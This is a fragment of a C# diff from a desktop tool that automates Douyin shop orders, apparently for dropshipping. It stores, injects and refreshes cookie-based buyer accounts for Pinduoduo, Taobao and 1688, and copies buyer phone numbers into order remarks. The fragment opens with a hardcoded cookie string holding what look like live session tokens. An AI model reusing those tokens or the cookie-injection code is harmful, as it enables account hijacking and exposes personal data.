ucas_c0_ss=CkEKBTEuMC4wEISIh4LFquHsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DtiuaGBkjtvqKJBlCOvKLE77ansWBYbhIUW5zoGPqAfCOgljJMo1C38jEuxXU; sid_guard=e57a8c80525e8c0ed19010416cada4b5%7C1624868205%7C5184000%7CFri%2C+27-Aug-2021+08%3A16%3A45+GMT; uid_tt=77d00870f7e450b238e44daad9c2ce4b; uid_tt_ss=77d00870f7e450b238e44daad9c2ce4b; sid_tt=e57a8c80525e8c0ed19010416cada4b5; sessionid=e57a8c80525e8c0ed19010416cada4b5; sessionid_ss=e57a8c80525e8c0ed19010416cada4b5; ucas_c0=CkEKBTEuMC4wEISIh4LFquHsYBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0DtiuaGBkjtvqKJBlCOvKLE77ansWBYbhIUW5zoGPqAfCOgljJMo1C38jEuxXU; PHPSESSID=4509fb9e486ea387dd36c94c3300d730; PHPSESSID_SS=4509fb9e486ea387dd36c94c3300d730; login_info=%7B%22for_im_reply%22%3A%224509fb9e486ea387dd36c94c3300d730%22%7D; __G_CREATE_VERIFY_PASS__=9050819; gftoken=ZTU3YThjODA1MnwxNjI0ODY4MjE5MTN8fDAGBgYGBgY; Hm_lpvt_b6520b076191ab4b36812da4c90f7a5e=1624868264; tt_scid=UdcHHkJ0VryryaO30UGOPrdEqaM70FrV6n5xUCKx17Y27H1b.8HjmzE2PXTyrHxL62c8; MONITOR_WEB_ID=4292110529608375; gfpart_1.0.0.2541_75650=0 + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException ex) + { + if (ex.Status == WebExceptionStatus.ProtocolError) + { + response = (HttpWebResponse)ex.Response; + result = DouYinHttpWebRequest.ReadResponse(response); + return result; + } + else return ex.Message; + } + catch (Exception e) + { + if (response != null) response.Close(); + return e.Message; + } + result = DouYinHttpWebRequest.ReadResponse(response); + return result; + } + #endregion + + #region 买手号 + public void GetServiceBuyUsers() + { + string url = BaseClass.DouYinBuildObjString("user_login_cookies"); + string data = "&act=get&site_id=99"; + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data); + if (html == "") + { + return; + } + var code = JObject.Parse(html)["code"]; + if (code.ToString() != "200") + { + return; + } + + var jArr = JObject.Parse(html)["data"]; + if (jArr.Count() == 0) + { + return; + } + List cookie = new List(); + foreach (JObject jObj in jArr) + { + string buyuser = jObj.ToString(); + PddBuyUser pddBuyUsers = new PddBuyUser(); + string name = BaseRegex.GetStringJson(ref buyuser, "user_name"); + string cookies = BaseRegex.GetStringJson(ref buyuser, "cookies"); + string uid = BaseRegex.GetStringJson(ref buyuser, "user_id"); + string site_id = BaseRegex.GetStringJson(ref buyuser, "site_id"); + if (site_id == "0") + { + pddBuyUsers.AddBuyUserCookies(uid, name, cookies); + } + else if (site_id == "1") + { + new TaoBaoBuyUser().AddBuyUserCookies(uid, name, cookies); + } + else if (site_id == "3") + { + new ALBuyUser().AddBuyUserCookies(uid, name, cookies); + } + } + ResetUserList(); + } + public void ReflashBuyUsers() + { + Invoke(new delegateView(ResetUserList)); + } + private void ResetUserList() + { + Thread.Sleep(100); + Invoke(new Action(() => + { + var currentPddBuyUser = cbpddBuyUser.SelectedItem?.ToString(); + var currentTbBuyUser = cbtbBuyUser.SelectedItem?.ToString(); + var current1688BuyUser = cb1688BuyUser.SelectedItem?.ToString(); + var currentPddPifaUser = cmbPddPifaBuyUser.SelectedItem?.ToString(); + cbpddBuyUser.Items.Clear(); + cbtbBuyUser.Items.Clear(); + cb1688BuyUser.Items.Clear(); + cmbPddPifaBuyUser.Items.Clear(); + try + { + foreach (KeyValuePair item in PddBuyUser.buyUserCookies)//拍单买手号 + { + if (!cbpddBuyUser.Items.Contains("点击下拉切换")) + { + cbpddBuyUser.Items.Add("点击下拉切换"); + cbpddBuyUser.SelectedIndex = 0; + } + ComboboxItem cbitem = new ComboboxItem(); + cbitem.Text = item.Key.name; + cbitem.Value = item.Value.uid; + cbpddBuyUser.Items.Add(cbitem); + if (currentPddBuyUser == item.Key.name) + cbpddBuyUser.SelectedItem = cbitem; + } + foreach (KeyValuePair item in TaoBaoBuyUser.buyUserCookies) + { + if (!cbtbBuyUser.Items.Contains("点击下拉切换")) + { + cbtbBuyUser.Items.Add("点击下拉切换"); + cbtbBuyUser.SelectedIndex = 0; + } + ComboboxItem cbitem = new ComboboxItem(); + cbitem.Text = item.Key.name; + cbitem.Value = item.Value.uid; + cbtbBuyUser.Items.Add(cbitem); + if (currentTbBuyUser == item.Key.name) + cbtbBuyUser.SelectedItem = cbitem; + } + foreach (KeyValuePair item in ALBuyUser.buyUserCookies) + { + if (!cb1688BuyUser.Items.Contains("点击下拉切换")) + { + cb1688BuyUser.Items.Add("点击下拉切换"); + cb1688BuyUser.SelectedIndex = 0; + } + ComboboxItem cbitem = new ComboboxItem(); + cbitem.Text = item.Key.name; + cbitem.Value = item.Value.uid; + cb1688BuyUser.Items.Add(cbitem); + if (current1688BuyUser == item.Key.name) + cb1688BuyUser.SelectedItem = cbitem; + } + foreach (PddPifaShopInfo item in GlobalConfig.LstPddPifaShop) + { + if (!cmbPddPifaBuyUser.Items.Contains("点击下拉切换")) + { + cmbPddPifaBuyUser.Items.Add("点击下拉切换"); + cmbPddPifaBuyUser.SelectedIndex = 0; + } + ComboboxItem cbitem = new ComboboxItem(); + cbitem.Text = item.PddId; + cbitem.Value = item.PddShopName; + cmbPddPifaBuyUser.Items.Add(cbitem); + if (currentPddPifaUser == item.PddId) + cmbPddPifaBuyUser.SelectedItem = cbitem; + } + } + catch + { + } + })); + } + public void PddSelectedItem(string pdduid) + { + Invoke(new Action(() => + { + for (int i = 0; i < cbpddBuyUser.Items.Count; i++) + { + if (cbpddBuyUser.Items[i].ToString() == "点击下拉切换") + { + continue; + } + + if (pdduid == (cbpddBuyUser.Items[i] as ComboboxItem).Value.ToString()) + { + cbpddBuyUser.SelectedIndex = i; + } + } + cbpddBuyUser_SelectedIndexChanged(cbpddBuyUser, null); + })); + } + public void cbpddBuyUser_SelectedIndexChanged(object sender, EventArgs e) + { + if (cbpddBuyUser.Text != "点击下拉切换" && cbpddBuyUser.SelectedItem != null) + { + BaseClass.PddUid = (cbpddBuyUser.SelectedItem as ComboboxItem).Value.ToString(); + if (BaseClass.PddUid == "") + { + MessageBox.Show("未选择买手"); + return; + } + PddBuyUser s = new PddBuyUser(); + s.Set(BaseClass.PddUid, "", 0); + } + } + + private void lb_Click(object sender, EventArgs e) + { + if (cbpddBuyUser.Text != "点击下拉切换") + { + DelBuyer(cbpddBuyUser.Text, (cbpddBuyUser.SelectedItem as ComboboxItem).Value.ToString(), 0); + } + + } + + private void cbtbBuyUser_SelectedIndexChanged(object sender, EventArgs e) + { + if (cbtbBuyUser.Text != "点击下拉切换" && cbtbBuyUser.SelectedItem != null) + { + BaseClass.TaoBaoUid = (cbtbBuyUser.SelectedItem as ComboboxItem).Value.ToString(); + if (string.IsNullOrEmpty(BaseClass.TaoBaoUid)) + { + MessageBox.Show("未选择买手"); + return; + } + TaoBaoBuyUser s = new TaoBaoBuyUser(); + s.SetTaoBao(BaseClass.TaoBaoUid, 1); + } + } + private void lbtaobao_Click(object sender, EventArgs e) + { + if (cbtbBuyUser.Text != "点击下拉切换") + { + DelBuyer(cbtbBuyUser.Text, (cbtbBuyUser.SelectedItem as ComboboxItem).Value.ToString(), 1); + } + } + + private void cb1688BuyUser_SelectedIndexChanged(object sender, EventArgs e) + { + if (cb1688BuyUser.Text != "点击下拉切换" && cb1688BuyUser.SelectedItem != null) + { + BaseClass.ALUid = (cb1688BuyUser.SelectedItem as ComboboxItem).Value.ToString(); + if (BaseClass.ALUid == "") + { + MessageBox.Show("未选择买手"); + return; + } + Task.Run(() => + { + ALBuyUser s = new ALBuyUser(); + s.SetAL(BaseClass.ALUid, 3); + }); + } + } + private void lb1688_Click(object sender, EventArgs e) + { + if (cb1688BuyUser.Text != "点击下拉切换") + { + DelBuyer(cb1688BuyUser.Text, (cb1688BuyUser.SelectedItem as ComboboxItem).Value.ToString(), 3); + } + } + + public bool DelBuyer(string name, string uid, int site_id) + { + BuyNumber buynumber = new BuyNumber(site_id, uid, name); + if (site_id == 0) + { + new PddBuyUser().DelCookies(buynumber); + cbpddBuyUser.Items.RemoveAt(cbpddBuyUser.SelectedIndex); + cbpddBuyUser.Text = "点击下拉切换"; + } + else if (site_id == 1) + { + new TaoBaoBuyUser().DelCookies(buynumber); + cbtbBuyUser.Items.Remove(cbtbBuyUser.SelectedIndex); + cbtbBuyUser.Text = "点击下拉切换"; + } + else if (site_id == 3) + { + new ALBuyUser().DelCookies(buynumber); + cb1688BuyUser.Items.Remove(cb1688BuyUser.SelectedIndex); + cb1688BuyUser.Text = "点击下拉切换"; + } + else if (site_id == 7) + { + GlobalConfig.LstPddPifaShop.RemoveAll(s => s.PddId == cmbPddPifaBuyUser.Text || s.PddShopName == cmbPddPifaBuyUser.Text); + cmbPddPifaBuyUser.Items.Remove(cmbPddPifaBuyUser.SelectedIndex); + cmbPddPifaBuyUser.Text = "点击下拉切换"; + } + string code = "200"; + // 拼多多批发店铺买手保存在本地,无需服务端记录 + if (site_id != 7) + { + string url = BaseClass.DouYinBuildObjString("user_login_cookies&act=delete"); + string data = UserLogin.GetSignaturex() + "&site_id=" + site_id + "&user_name=" + name; + string html = GetHtml.PostUtf8(url, data); + code = JObject.Parse(html)["code"].ToString(); + } + ResetUserList(); + if (code != "200") + { + MessageBox.Show("删除失败"); + return false; + } + MessageBox.Show("删除成功"); + return true; + } + + #endregion + + #region 订单插旗 + /// + /// 插旗 + /// + /// 订单编号 + /// 颜色 + /// 1待拍单 2待发货 3已完成 4 售后 + /// 店铺ID + public void chaqi(string orderid, int color, string shopid) + { + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == shopid); + if (shop != null) + { + DouyinApi apix = new DouyinApi(shop); + Dictionary dic = new Dictionary() { }; + dic.Add("shop_order_id", orderid); + apix.JsonData = dic; + string htmljm = apix.GetOrderDetail(); + //{"code":40003,"err_no":30002,"log_id":"202112081416140101330381040002D034","message":"access_token已过期","msg":"非法的参数","sub_code":"isv.access-token-expired","sub_msg":"access_token已过期"} + string code = JObject.Parse(htmljm)["code"].ToString(); + string remark = ""; + if (code == "10000") + { + try + { + remark = JObject.Parse(htmljm)["data"]["shop_order_detail"]["seller_words"].ToString(); + } + catch (Exception ex) + { + + } + } + DouYinOrderModel dyorder = null; + dyorder = CollectionClass.orderDataList.Find(x => x.order_id == orderid); + if (dyorder == null) + { + dyorder = CollectionClass.orderSenderDataList.Find(x => x.order_id == orderid); + if (dyorder == null) + { + dyorder = CollectionClass.successOrderDataList.Find(x => x.order_id == orderid); + } + } + if (dyorder != null) + { + if (!remark.Contains("||") && !remark.Contains("~")) + { + remark = remark + "||" + dyorder.buyer_mobile + "~" + dyorder.order_id_buy; + } + if (htmljm.Contains("access_token已过期")) + { + shop.ApiAuthStatus = "未授权"; + if (string.IsNullOrEmpty(dyorder.send_order_error_msg)) + dyorder.send_order_error_msg = "店铺未授权或授权过期"; + } + } + dic = new Dictionary() { }; + dic.Add("order_id", orderid); + dic.Add("is_add_star", "true"); + dic.Add("star", color.ToString()); + dic.Add("remark", remark); + apix.JsonData = dic; + string htmls = apix.AddOrderRemark(); + + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + orderid); + sb.Append("&remark=" + remark); + sb.Append("&seller_star=" + color); + sb.Append("&is_update_order=0");//1修改状态0不修改状态 + string upjmurl = BaseClass.DouYinBuildObjString("order&act=update"); + string param = UserLogin.GetSignaturex() + sb.ToString(); + string html = GetHtml.PostUtf8(upjmurl, param); + if (html == null || !html.Contains("\"code\":200")) + { + Thread.Sleep(5000); + param = UserLogin.GetSignaturex() + sb.ToString(); + html = GetHtml.PostUtf8(upjmurl, param); + } + if (html == null || !html.Contains("\"code\":200")) + { + BaseMsgForm.ShowError("订单插旗失败,请手动插旗!"); + } + } + } + #endregion + + public string GetProvince(string pid) + { + string path = "temp/province"; + //string url = "http://apiv4.yangkeduo.com/api/galen/v2/regions/" + pid + "?pdduid=1635501584" /*+ BaseClass.PddUid*/; + string url = "http://apiv4.yangkeduo.com/api/galen/v2/regions/" + pid + "?pdduid=" + PddUid; + string refere = BaseClass.PddMobileUrlx + "addresses.html"; + string html = "", file = path + "/" + pid + ".king"; + + if (FileBase.Exists(file)) + html = FileBase.ReadAllText(file, Encoding.UTF8); + if (string.IsNullOrEmpty(html) || (!string.IsNullOrEmpty(html) && html.Contains("错误"))) + { + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + if (html.Contains("错误")) + { + Thread.Sleep(5 * 1000); + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + } + if (!html.Contains("错误")) + { + FileBase.WriteAllText(file, html, Encoding.UTF8); + } + Thread.Sleep(200); + } + return html; + } + + private void panel1_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; + } + + private void panel1_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X, -e.Y); + isMouseDown = true; + } + } + + private void panel1_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown && this.Width < Screen.PrimaryScreen.WorkingArea.Width) + { + // 获取鼠标的位置 + Point mousePos = MousePosition; + mousePos.Offset(mouseOffset.X, mouseOffset.Y); + Location = mousePos; + } + } + + + private void panel1_DoubleClick(object sender, EventArgs e) + { + + if (this.WindowState == FormWindowState.Maximized) + this.WindowState = FormWindowState.Normal; + else + this.WindowState = FormWindowState.Maximized; + } + + //网页读取订单 + //private void panelEx1_Click(object sender, EventArgs e) + //{ + // if (cefWebBrowser == null) + // return; + // if (panelEx1.Text == "显示") + // { + // panelEx1.Text = "隐藏"; + // cefWebBrowser.BringToFront(); + // } + // else + // { + // panelEx1.Text = "显示"; + // cefWebBrowser.SendToBack(); + // } + //} + + private void pnlExportExcel_Click(object sender, EventArgs e) + { + switch (panelpe.Name) + { + case "pnlWaitingBuyOrder": + buyOrderListForm.outexcel(); + break; + case "pnlWaitingDeliverGoods": + sendOrderForms.outexcel(); + break; + case "pnlSuccess": + successOrderListForm.outexcel(); + break; + case "pnlAfterSale": + break; + } + MessageBox.Show("导出完成"); + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + string text = dgvShop.Columns[e.ColumnIndex].HeaderText; + string name = dgvShop.Columns[e.ColumnIndex].Name; + if (text == "店铺账号") + { + string shopname = dgvShop.Rows[e.RowIndex].Cells[e.ColumnIndex].Value.ToString(); + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.UserName == shopname); + ShopBrower shopBrower = new ShopBrower(); + shopBrower.TitleText = "店铺后台"; + shopBrower.shop = shop; + shopBrower.WindowState = FormWindowState.Maximized; + shopBrower.webUrl = "https://fxg.jinritemai.com/ffa/morder/order/list"; + shopBrower.Show(); + } + if (name == "colSelect") + { + dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value = !dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool(); + } + + } + + #region 刷新cookies + public void ReflashCookies() + { + try + { + while (true) + { + if (string.IsNullOrEmpty(BaseClass.ChromeUserAgent)) + { + Thread.Sleep(300); + } + Thread.Sleep(300); + if (InvokeRequired) + { + Invoke(new delegateView(GetCookies)); + } + Thread.Sleep(300); + string cookie = ""; + string jinbaocookie = ""; + for (int i = 0; i < cookies.Count; i++)//初始化COOKIES缓存 + { + var c = cookies[i]; + if (c == null) + { + continue; + } + string mainDomain = GetHtml.GetMainDomain(c.Domain); + if (BaseClass.CookiesAll.ContainsKey(mainDomain)) + { + if (BaseClass.CookiesAll[mainDomain].ContainsKey(c.Name)) + BaseClass.CookiesAll[mainDomain][c.Name] = c.Value; + else + BaseClass.CookiesAll[mainDomain].Add(c.Name, c.Value); + } + else + { + BaseClass.CookiesAll.Add(mainDomain, new Dictionary()); + BaseClass.CookiesAll[mainDomain].Add(c.Name, c.Value); + } + //if (!c.Domain.Contains("pinduoduo.com")) + // continue; + cookie += c.Name + "=" + c.Value + "; "; + if (c.Domain.Contains("pinduoduo.com")) + { + jinbaocookie += c.Name + "=" + c.Value + "; "; + } + } + BaseClass.ChromeCookies = cookie; + BaseClass.ChromeJinBaoCookies = jinbaocookie; + foreach (KeyValuePair> co in BaseClass.CookiesAll)//同步到系统 + { + string cook = ""; + foreach (KeyValuePair c in co.Value) + { + if (c.Key == "x5sec") + { + if (!string.IsNullOrEmpty(c.Value)) + { + cook += c.Key + "=" + c.Value + "; "; + } + else if (!string.IsNullOrEmpty(BaseClass.x5Sec)) + { + cook += c.Key + "=" + BaseClass.x5Sec + "; "; + } + else + { + cook += c.Key + "=" + c.Value + "; "; + } + } + else + { + cook += c.Key + "=" + c.Value + "; "; + } + } + if (BaseClass.CookiesAllString.ContainsKey(co.Key)) + BaseClass.CookiesAllString[co.Key] = cook; + else + BaseClass.CookiesAllString.Add(co.Key, cook); + } + string mainDomainx = "yangkeduo.com"; + string tbDomainx = "taobao.com"; + string alDomainx = "1688.com"; + if (BaseClass.CookiesAll.ContainsKey(mainDomainx) && BaseClass.CookiesAll[mainDomainx].ContainsKey("pdd_user_id")) + { + BuyForms.BuyBrower.Uid = BaseClass.CookiesAll[mainDomainx]["pdd_user_id"]; + BuyOrderForms.PddUid = BaseClass.CookiesAll[mainDomainx]["pdd_user_id"]; + BaseClass.PddUid = BaseClass.CookiesAll[mainDomainx]["pdd_user_id"]; + } + if (BaseClass.CookiesAll.ContainsKey(tbDomainx) && BaseClass.CookiesAll[tbDomainx].ContainsKey("aui")) + { + BuyForms.BuyBrower.Uid = BaseClass.CookiesAll[tbDomainx]["aui"]; + BuyOrderForms.PddUid = BaseClass.CookiesAll[tbDomainx]["aui"]; + BaseClass.TaoBaoUid = BaseClass.CookiesAll[tbDomainx]["aui"]; + } + if (BaseClass.CookiesAll.ContainsKey(alDomainx) && BaseClass.CookiesAll[alDomainx].ContainsKey("unb")) + { + BuyForms.BuyBrower.Uid = BaseClass.CookiesAll[alDomainx]["unb"]; + BuyOrderForms.PddUid = BaseClass.CookiesAll[alDomainx]["unb"]; + BaseClass.ALUid = BaseClass.CookiesAll[alDomainx]["unb"]; + } + Thread.Sleep(100); + } + } + catch (Exception) + { + + } + } + + /// + /// 获取cookies + /// + private void GetCookies() + { + cookies.Clear(); + var cookieManager = Cef.GetGlobalCookieManager(); + CookieVisitor visitor = new CookieVisitor(); + visitor.SendCookie += visitor_SendCookie; + cookieManager.VisitAllCookies(visitor); + } + + + public List cookies = new List(); + /// + /// 加载完成时,重设cookies + /// + /// + private void visitor_SendCookie(CefSharp.Cookie obj) + { + cookies.Add(obj); + } + + #endregion + + private void pbseting_Click(object sender, EventArgs e) + { + SetForm setf = new SetForm(); + setf.ShowDialog(); + } + + List list_cb = null; + private void cbAfterSale_CheckedChanged(object sender, EventArgs e) + { + list_cb = new List() { + checkBoxX1,checkBoxX2,checkBoxX3 + }; + string afterSalestatus = ","; + foreach (var item in list_cb) + { + if (item.Checked == true) + { + afterSalestatus += item.Text + ","; + } + } + afterSaleOrderListForm.AfterSaleWhere(afterSalestatus); + } + + private void panel1_DoubleClick_1(object sender, EventArgs e) + { + if (this.Width == Screen.PrimaryScreen.WorkingArea.Width) + { + this.Width = 1325; + this.Height = 668; + splitMain.SplitterDistance = 107; + this.Top = DefaultTop; + this.Left = DefaultLeft; + } + else + { + // this.WindowState = FormWindowState.Maximized; + SetFormMax(this); + splitMain.SplitterDistance = 107; + } + } + + public virtual void SetFormMax(Form frm) + { + frm.Top = 0; + frm.Left = 0; + frm.Width = Screen.PrimaryScreen.WorkingArea.Width; + frm.Height = Screen.PrimaryScreen.WorkingArea.Height; + } + + private void cbsuccess_CheckedChanged(object sender, EventArgs e) + { + list_cb = new List() { + cbNotSigned,cbSignedIn,cbcancel + }; + string successOrderstatus = ","; + foreach (var item in list_cb) + { + if (item.Checked == true) + { + successOrderstatus += item.Text + ","; + } + } + successOrderListForm.successOrderWhere(successOrderstatus); + } + + + private void pictureBox1_Click(object sender, EventArgs e) + { + } + + public void skuimg(Bitmap skuImg) + { + pnsku.BringToFront(); + pcskuimg.Image = skuImg; + pnsku.Visible = true; + } + public void skuimghide() + { + pnsku.Visible = false; + } + + private void tborder_Click(object sender, EventArgs e) + { + } + + private void pnlFactoryOrder_Click(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(txtFactoryExportProductId.Text)) + { + FactoryExportForm ff = new FactoryExportForm(); + ff.productIdList = this.txtFactoryExportProductId.Text.Split(new string[] { ",", "," }, StringSplitOptions.RemoveEmptyEntries).ToList(); + ff.ShowDialog(); + } + } + + public BuyForms.BuyBrower buyBrower1 = new BuyForms.BuyBrower(); + private void pnlLoginBuyin_Click(object sender, EventArgs e) + { + buyBrower1.webtype = 99; + buyBrower1.Width = 1280; + buyBrower1.Height = 768; + buyBrower1.webUrl = "https://buyin.jinritemai.com/dashboard/merch-picking-hall"; + //buyBrower1.webUrl = "https://buyin.jinritemai.com/mpa/account/login?log_out=1&type=24&target_url=/dashboard/merch-picking-hall"; + buyBrower1.Show(); + buyBrower1.BuyBrower_Load(null, null); + } + + int lbvClickTimes = 0; + private void lbv_Click(object sender, EventArgs e) + { + } + private void lbv_MouseDown(object sender, MouseEventArgs e) + { + if (cefJuLiangWebBrowser != null) + { + if (lbvClickTimes == 10) + { + cefJuLiangWebBrowser.BringToFront(); + lbvClickTimes = 0; + } + else + { + lbvClickTimes += 1; + cefJuLiangWebBrowser.SendToBack(); + } + } + } + + private void chkHasLogisticsThenSend_CheckedChanged(object sender, EventArgs e) + { + GlobalConfig.SystemSettings.IsHasLogisticsThenSend = chkHasLogisticsThenSend.Checked; + StartUp.SaveSystemSettings(); + } + + public void RefreshTabaoAliCookies() + { + if (cefWebBrowser == null) + { + cefTaoBaoAliRefreshWebBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + cefTaoBaoAliRefreshWebBrowser.KeyboardHandler = new KeyboardHandler(); + cefTaoBaoAliRefreshWebBrowser.FrameLoadEnd += TaoBaoAliRefreshWebBrowser_FrameLoadEnd; + cefTaoBaoAliRefreshWebBrowser.Dock = DockStyle.Fill; + //var t = CEFBrowser.SetCookieAsync("jinritemai.com", shop.Cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + splitMain.Panel2.Controls.Add(cefTaoBaoAliRefreshWebBrowser); + cefTaoBaoAliRefreshWebBrowser.SendToBack(); + } + + DateTime nextRefreshTime = DateTime.Now.AddSeconds(10); + + Task.Run(() => + { + while (true) + { + Thread.Sleep(10); + if (cefTaoBaoAliRefreshWebBrowser == null || !cefTaoBaoAliRefreshWebBrowser.IsBrowserInitialized) + continue; + if (DateTime.Now < nextRefreshTime) + continue; + nextRefreshTime = DateTime.Now.AddMinutes(12); + + try + { + // 淘宝cookie刷新 + var keys = TaoBaoBuyUser.buyUserCookies.Select(s => s.Key); + foreach (var key in keys) + { + continue; + if (TaoBaoBuyUser.buyUserCookies.Keys.Contains(key)) + { + var user = TaoBaoBuyUser.buyUserCookies[key]; + CEFBrowser.DeleteCookie(cefTaoBaoAliRefreshWebBrowser.RequestContext.GetCookieManager(null)); + CEFBrowser.SetCookieAsync(Work.Helper.CEFHelper.CefCookieToCookieStr(user.Cookies), cefTaoBaoAliRefreshWebBrowser.RequestContext.GetCookieManager(null)); + cefTaoBaoAliRefreshWebBrowser.Load("https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm"); + while (cefTaoBaoAliRefreshWebBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(5000); + Task task = cefTaoBaoAliRefreshWebBrowser.GetBrowser().MainFrame.GetSourceAsync(); + task.Wait(10000); + if (task.Result.Contains("所有订单")) + { + user.Cookies = CEFBrowser.GetCookieList("taobao.com", cefTaoBaoAliRefreshWebBrowser.RequestContext.GetCookieManager(null)); + Thread.Sleep(1000); + } + } + Thread.Sleep(1000); + } + // 阿里cookie刷新 + keys = ALBuyUser.buyUserCookies.Select(s => s.Key); + foreach (var key in keys) + { + if (ALBuyUser.buyUserCookies.Keys.Contains(key)) + { + var user = ALBuyUser.buyUserCookies[key]; + CEFBrowser.DeleteCookie(cefTaoBaoAliRefreshWebBrowser.RequestContext.GetCookieManager(null)); + CEFBrowser.SetCookieAsync(Work.Helper.CEFHelper.CefCookieToCookieStr(user.Cookies), cefTaoBaoAliRefreshWebBrowser.RequestContext.GetCookieManager(null)); + cefTaoBaoAliRefreshWebBrowser.Load("https://work.1688.com/home/buyer.htm?_path_=buyer2017Base/2017buyerbase_trade/buyList"); + while (cefTaoBaoAliRefreshWebBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(5000); + Task task = cefTaoBaoAliRefreshWebBrowser.GetBrowser().MainFrame.GetSourceAsync(); + task.Wait(10000); + if (task.Result.Contains("我的阿里")) + { + user.Cookies = CEFBrowser.GetCookieList("1688.com", cefTaoBaoAliRefreshWebBrowser.RequestContext.GetCookieManager(null)); + user.Cookies = user.Cookies.Where(c => c.Domain.StartsWith(".1688")).ToList(); + Thread.Sleep(1000); + } + } + Thread.Sleep(1000); + } + } + catch + { + } + } + }); + } + + private void TaoBaoAliRefreshWebBrowser_FrameLoadEnd(object sender, FrameLoadEndEventArgs e) + { + } + + int lbnameClickTimes = 0; + private void lbname_Click(object sender, EventArgs e) + { + } + private void lbname_MouseDown(object sender, MouseEventArgs e) + { + if (cefTaoBaoAliRefreshWebBrowser != null) + { + if (lbnameClickTimes == 10) + { + cefTaoBaoAliRefreshWebBrowser.BringToFront(); + lbnameClickTimes = 0; + } + else + { + lbnameClickTimes += 1; + cefTaoBaoAliRefreshWebBrowser.SendToBack(); + } + } + } + + /// + /// 批量设置订单完成 + /// + /// + /// + private void pnlSetSendOrder_Click(object sender, EventArgs e) + { + pnlSetSendOrder.Enabled = false; + OpenFileDialog fileDialog = new OpenFileDialog(); + fileDialog.Title = "选择文件"; + fileDialog.Filter = "All files (*.*)|*.*"; + fileDialog.FilterIndex = 1; + fileDialog.RestoreDirectory = true; + if (fileDialog.ShowDialog() != DialogResult.OK) + { + pnlSetSendOrder.Enabled = true; + return; + } + ProgressForm pf = new ProgressForm(); + pf.SetText("正在设置订单"); + pf.Show(); + pf.TopMost = true; + Task.Run(() => + { + string[] arrTmp = FileBase.ReadAllLines(fileDialog.FileName, FileBase.GetFileEncoding(fileDialog.FileName)); + if (arrTmp == null || arrTmp.Length == 0) + return; + for (int i = 0; i < arrTmp.Length; i++) + { + try + { + StringBuilder sb = new StringBuilder(); + sb.Append("&order_id=" + arrTmp[i]); + sb.Append("&order_status_buy=" + 0); + sb.Append("&is_update_order=1"); // 1修改状态0不修改状态 + string upjmurl = BaseClass.DouYinBuildObjString("order&act=update"); + string html = GetHtml.PostUtf8(upjmurl, UserLogin.GetSignaturex() + sb.ToString()); + string code = JObject.Parse(html)["code"].ToString(); + + Invoke(new Action(() => + { + pf.SetText("已设置订单:" + (i + 1) + "/" + arrTmp.Length); + pf.SetProGress(i + 1, arrTmp.Length); + })); + } + catch + { + } + Thread.Sleep(50); + } + Thread.Sleep(500); + Invoke(new Action(() => + { + pf.SetText("设置完成,3秒后自动退出"); + })); + Thread.Sleep(3000); + Invoke(new Action(() => + { + pf.Close(); + pnlSetSendOrder.Enabled = true; + })); + }); + } + + private void pnlEditTableHeaders_Click(object sender, EventArgs e) + { + switch (panelpe.Name) + { + case "pnlWaitingBuyOrder": + buyOrderListForm.SetDgvHeaders(); + break; + case "pnlWaitingDeliverGoods": + sendOrderForms.SetDgvHeaders(); + break; + case "pnlSuccess": + successOrderListForm.SetDgvHeaders(); + break; + case "pnlAfterSale": + afterSaleOrderListForm.SetDgvHeaders(); + break; + } + } + + private void button1_Click(object sender, EventArgs e) + { + //3513538240521087498 + + var shop = Work.CollectionClass.DouShopLoginList.FirstOrDefault(s => s.ShopId == "20445141"); + if (shop == null) + return; + //\"shop_order_list\":[] + Dictionary dic = new Dictionary() { }; + dic.Add("size", "1"); + dic.Add("page", "1"); + dic.Add("product", "3491447318656455133"); + dic["create_time_start"] = BaseClass.DateTimeToTimestampSeconds(DateTime.Now.AddDays(-1)).ToString(); + dic.Add("create_time_end", BaseClass.DateTimeToTimestampSeconds(DateTime.Now).ToString()); + dic.Add("order_by", "create_time"); + //if (status > 0) + // dic.Add("combine_status", "{\"order_status\":\"" + status + "\"}"); + //dic.Add("combine_status", "{\"main_status\":2}"); + DouyinApi apix = new DouyinApi(shop); + apix.JsonData = dic; + BaseClass.ShopId = shop.ShopId; + BaseClass.ShopName = shop.ShopName; + + string html = apix.GetOrderList(); + for (int i = 0; i < 5 && html.Contains("系统繁忙,请稍后重试"); i++) + { + Thread.Sleep(1000); + html = apix.GetOrderList(); + } + } + + private void lblContactSupport_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + SupportQrCodeForm qrForm = new SupportQrCodeForm(); + qrForm.ShowDialog(); + } + + private void chkReadFinish_CheckedChanged(object sender, EventArgs e) + { + AfterSaleOrderListForm.IsReadFinishedRefund = this.chkReadFinishedRefund.Checked; + ConfigHelper.SaveConfig("read_finished_refund", AfterSaleOrderListForm.IsReadFinishedRefund); + + afterSaleOrderListForm.SetFinishOrderVisible(); + } + + private void chkReadFinishedRefund_Click(object sender, EventArgs e) + { + } + + private void pnlSetReceiveAddress_Click(object sender, EventArgs e) + { + TransitAddressForm f = new TransitAddressForm(); + f.ShowDialog(); + } + + private void btnLoginPddPifa_Click(object sender, EventArgs e) + { + PddShopLoginForm shopBrower = new PddShopLoginForm(); + 